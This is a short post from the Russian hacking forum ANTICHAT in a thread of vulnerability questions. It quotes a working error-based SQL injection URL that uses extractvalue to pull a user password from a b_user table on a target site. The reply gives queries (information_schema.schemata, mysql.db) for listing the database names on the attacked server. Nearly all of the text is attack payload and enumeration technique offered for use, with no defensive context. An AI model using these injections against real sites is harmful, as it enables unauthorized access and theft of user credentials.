ANTICHAT - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Цитата:

Сообщение от elvir

↑
http://xxx.ru/?r=club/catalog/detail&id=-53 order by extractvalue(0x0a,concat(0x0a,(select concat_ws(0x3b,password) from b_user limit 1,1))) -- -#
а как узнать название баз данных на сервере? Не таблиц а баз.

SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0

или

SELECT distinct(db) FROM mysql.db

последний при определённых условиях срабатывает